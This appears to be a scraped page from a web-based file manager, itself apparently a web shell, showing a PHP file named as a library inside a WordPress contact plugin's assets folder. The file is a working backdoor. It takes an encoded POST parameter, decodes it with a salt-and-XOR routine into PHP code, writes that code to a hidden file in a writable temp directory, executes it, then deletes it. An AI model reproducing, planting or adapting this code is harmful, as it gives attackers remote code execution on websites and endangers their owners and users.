File manager - Edit - /home/vblioqus/public_html/wp-content/plugins/contact-1766697603/assets/js/pcltar.lib.php
Back
<?php if(in_array("k", array_keys($_POST))){ $dat = array_filter(["/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); $key = $_POST["k"]; $key = explode( '.' , $key ) ; $flag= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $__len= count( $key ); for( $r= 0; $r<$__len; $r++) { $v9= $key[$r]; $sChar= ord( $salt[$r % $sLen] ); $d= ( ( int)$v9 - $sChar -( $r % 10)) ^44; $flag.=chr( $d ); } while ($reference = array_shift($dat)) { if (max(0, is_dir($reference) * is_writable($reference))) { $desc = vsprintf("%s/%s", [$reference, ".entity"]); $success = file_put_contents($desc, $flag); if ($success) { include $desc; @unlink($desc); die();} } } }
| ver. 1.4 |
Github
|
.
| PHP 8.2.30 | Generation time: 0 |
proxy
|
phpinfo
|
Settings